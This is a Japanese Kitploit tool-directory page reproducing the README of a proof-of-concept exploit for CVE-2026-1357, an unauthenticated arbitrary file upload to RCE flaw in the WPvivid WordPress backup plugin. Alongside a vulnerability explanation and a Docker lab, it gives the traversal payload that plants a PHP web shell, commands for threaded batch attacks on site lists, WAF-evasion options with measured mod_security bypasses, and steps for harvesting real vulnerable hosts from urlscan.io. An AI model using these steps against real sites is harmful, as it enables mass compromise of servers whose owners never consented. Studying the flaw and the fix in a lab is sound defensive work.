Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-1357 — CVE-2026-1357の概念実証エクスプロイト。WPvivid Backup & Migrationにおける未認証の任意ファイルアップロードにより、リモートコード実行につながります。スタンドアロンのPythonスクリプト、WAF回避テクニック、および認証用のDocker化された脆弱性ラボが含まれています。 | Kitploit
ツール/GitHubGitHub/sahmsec/cve-2026-1357
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング
GitHubsahmsec/cve-2026-1357

CVE-2026-1357

CVE-2026-1357の概念実証エクスプロイト。WPvivid Backup & Migrationにおける未認証の任意ファイルアップロードにより、リモートコード実行につながります。スタンドアロンのPythonスクリプト、WAF回避テクニック、および認証用のDocker化された脆弱性ラボが含まれています。

リポジトリを見る
9時間7分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 認証なし任意ファイルアップロード → RCE

CVE-2026-1357(CVSS 9.8 Critical、CWE-434)のPoC:WordPress用プラグインWPvivid Backup & Migrationにおける認証なしの任意ファイルアップロードにより、リモートコード実行(RCE)に至ります。0.9.124(チェンジセット3448386)で修正済み。Wordfence Bug Bountyプログラムを通じてLucas Montes氏により報告されました。

root@kitploit:~
  ███████╗  █████╗  ██╗  ██╗ ███╗   ███╗ ███████╗ ███████╗  ██████╗
  ██╔════╝ ██╔══██╗ ██║  ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
  ███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗   ██║
  ╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝   ██║
  ███████║ ██║  ██║ ██║  ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
  ╚══════╝ ╚═╝  ╚═╝ ╚═╝  ╚═╝ ╚═╝     ╚═╝ ╚══════╝ ╚══════╝  ╚═════╝

⚠️ 法的免責事項

この概念実証(PoC)は認可されたセキュリティ研究、教育、および防御的テストのみを目的として提供されます。

  • このツールを実行する前に、対象システムを所有しているか、システム所有者から明示的な書面による許可を得ている必要があります。
  • コンピュータシステムへの不正アクセスは、ほとんどの法域で違法であり(例:米国のComputer Fraud and Abuse Act、英国のComputer Misuse Act、および世界各国の同様の法律)、刑事罰および民事罰の対象となる可能性があります。
  • 著者および貢献者は、このコードの使用から生じるいかなる誤用、損害、または法的結果についても一切の責任を負いません。
  • 本ソフトウェアを使用することにより、責任を持って、適用されるすべての法律に準拠して使用することに同意したものとみなされます。

脆弱性の内容

認証なしのsend_to_siteハンドラ(includes/customclass/class-wpvivid-send-to-site.php)は、攻撃者が供給したブロブを復号し、$params['data']の内容をwp-content/wpvividbackups/<攻撃者が制御する名前>に書き込みます — 認証なし、nonceなし、nameに対するパスサニタイズなしです。

意図された保護はRSAです:メッセージはランダムなセッションキーで暗号化される必要があり、そのキー自体がサイトのキーでRSA暗号化されます。欠陥はWPvivid_crypt::decrypt_message(includes/class-wpvivid-crypt.php)にあります:

root@kitploit:~
$key = $rsa->decrypt($key);          // 失敗時はFALSEを返す(不正なキーブロブ)
$rij = new Crypt_Rijndael();
$rij->setKey($key);                  // FALSEはnullバイトキーとして扱われる
return $rij->decrypt($data);

phpseclibのCrypt_RSA::decrypt()は、供給されたキーブロブを復号できない場合(例:openssl_private_decrypt()の失敗)にfalseを返しますが、プラグインは中断しません。falseはその後Crypt_Rijndael::setKey()に渡され、strlen(false) → 0 → キーは16個のnullバイト(AES-128、CBCモード、null IV)にパディングされます。したがって攻撃者は、完全に予測可能なnullキーでペイロードを「暗号化」します — 実際のサイトキーの知識は不要です。

ペイロードはJSONです:

root@kitploit:~
{"backup_id":"poc","name":"../../pocXXXXXXXX.php","offset":0,
 "file_size":<len>,"md5":"<md5>","data":"<base64 of PHP>"}

nameはサニタイズなしでパスに連結されるため(str_replace('wpvivid','wpvivid_temp', $name)は「wpvivid」部分文字列を書き換えるのみ)、../../はwp-content/wpvividbackups/からウェブルートへ脱出します。file_size/md5が一致すると、一時ファイルは攻撃者が選択した名前にリネームされ → 公開アクセス可能なPHP → RCEとなります。

修正(チェンジセット3448386)では、RSAステップが失敗した場合に中断します:

root@kitploit:~
if ($key === false || empty($key)) {
    return false;
}

要件

ターゲット:

  • WPvivid Backup & Migration ≤ 0.9.123
  • wpvivid_api_tokenオプションが存在し、期限切れでないこと — WPvivid → 設定 → 自動マイグレーションで管理者が生成をクリックするたびに作成されます(マイグレーション機能を使用するサイトで一般的)
  • ウェブルートでのPHPファイル実行(ほとんどのホスティングでデフォルト)

攻撃者:

  • Python 3(標準ライブラリのみ)

使用方法

script.pyは完全にスタンドアロンです:標準ライブラリのみ、ローカルインポートなし、外部ファイルなし。シンプルな位置引数CLI:

root@kitploit:~
# 単一ターゲット
python script.py https://target.example.com

# カスタムコマンド
python script.py https://target.example.com --command "uname -a"

# バッチモード(1行に1URL)→ success.txt / failed.txt
python script.py sites.txt --threads 10

# WAF回避:パーセントエンコードされたパラメータ名/値、またはmultipartボディ
python script.py https://target.example.com --encode
python script.py https://target.example.com --multipart

# テスト後にウェブシェルを自己削除
python script.py https://target.example.com --cleanup

終了コード:0は脆弱、それ以外は1。

ラボ

../lab/には、Docker化された脆弱なターゲット(WordPress 6.8 + plugins/からのWPvivid 0.9.123ソース)が含まれています:

root@kitploit:~
cd ../lab
docker compose up -d
# http://localhost:8090/ でWordPressのインストールを完了
docker compose run --rm wpcli plugin activate wpvivid-backuprestore
docker compose cp ../CVE-2026-1357-poc/setup_token.php wp:/tmp/
docker compose exec wp php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup_token.php";'

cd ../CVE-2026-1357-poc
python script.py http://localhost:8090 --command id

ターゲットの発見

検証済みの動作ソース(ライブテスト済み、アカウント不要):

  • urlscan.io — ブラウザでこれを開く: https://urlscan.io/search/#filename:wpvivid-backuprestore プラグインスラッグを参照する約74のインデックス化されたページ;クリックしてホスト名を収集します。すべての結果URLはプラグインパス(/wp-content/plugins/wpvivid-backuprestore/)で始まるため、ホストの抽出は簡単です。

テスト済みでターゲットが得られないクエリ(意図的に除外): Google/Bingダーク(inurl:はプラグイン自身のwordpress.orgページまたはボット壁のみを返す)、DuckDuckGo(同様)、Shodan http.html:(切り詰められたHTMLをインデックス化、ヒットゼロ)、Wayback CDXワイルドカード(空)、PublicWWW(ゲストスクレイピングがブロック)。

収集したホストをトリアージ(script.pyに--triageとして組み込み)に渡します。各サイトについて以下をチェックします:

  1. バージョン — wp-content/plugins/wpvivid-backuprestore/readme.txt → Stable tag: 0.9.123(認証なしの低ノイズチェック;HTML内の?ver=アセットクエリ文字列がフォールバック)
  2. トークン — ガベージPOST wpvivid_action=send_to_site&wpvivid_content=AAAA: JSONレスポンス(The key is invalid.)= wpvivid_api_tokenが存在; 空 = トークンなし / プラグイン非アクティブ / WAFがプローブをドロップ

<= 0.9.123かつトークンが有効なサイトのみがin-scope.txtに書き込まれ、その後:

root@kitploit:~
python script.py sites.txt --triage --threads 10   # → in-scope.txt
python script.py in-scope.txt --threads 5

ネットワーク生存性

実環境で動作し続けた2025年の長期稼働アップローダー(同じ著者)から移植されたテクニック:

  • アップロードPOSTでのAJAX偽装:X-Requested-With: XMLHttpRequest、 Accept: application/json, */*;q=0.1、同一オリジンのReferer、ブラウザUA
  • 後続のシェルGETは同一オリジンのRefererを保持
  • 短いリクエストごとのタイムアウトによるスレッド化バッチモード(--threads N)
  • バッチモードでsuccess.txt / failed.txtを書き込み、検証済みのシェルのみを成功として記録(オリジナルのsuccessファイルと同様)
  • ランダム化された12桁の16進ファイル名とアップロードごとのシェルパラメータ名
  • リクエスト形状回避のための--encode / --multipart

ライブmod_security(OWASP CRSパラノイア1)ラボで検証済み

../lab/waf/は、脆弱なWordPressの前にowasp/modsecurity-crs:apacheリバースプロキシを追加します(WAFは:8092、生のターゲットは:8093)。測定された動作:

ステップCRS経由の結果
アップロードPOST(プレーン)通過 — AESブロブ + AJAXヘッダーがCRSルールに一致しない
アップロードPOST(--encode)通過
アップロードPOST(--multipart)通過
シェルGET ?<p>=id / hostname / ls通過、コマンド実行
シェルGET ?<p>=id; hostname; uname -a403 — CRS 932xxxコマンドインジェクションルール
プレーンGET(PWN-OKマーカー)通過

暗号化されたアップロードはCRSのコンテンツ検査からは見えません(2025年のアップローダーのホワイトリストに見えるAJAXと同じ生存特性)。CRSの唯一の攻撃面は後続のコマンドGETであるため、ツールは現在デフォルトで--command idを使用し、コマンドGETがWAFでフィルタリングされた場合でもプレーンGETのPWN-OKマーカーでRCEを確認します(注記付きでvulnerableとして報告)。wpvivid_action=send_to_siteをシグネチャするオンホストWAF(例:Wordfence仮想パッチ)は、プラグインレベルでアップロード自体をブロックします — リクエスト形状のトリックではこれらを回避できません。

参考情報

  • https://www.wordfence.com/threat-intel/vulnerabilities/id/e5af0317-ef46-4744-9752-74ce228b5f37
  • https://plugins.trac.wordpress.org/changeset/3448386/wpvivid-backuprestore
  • https://nvd.nist.gov/vuln/detail/CVE-2026-1357
ツールをダウンロード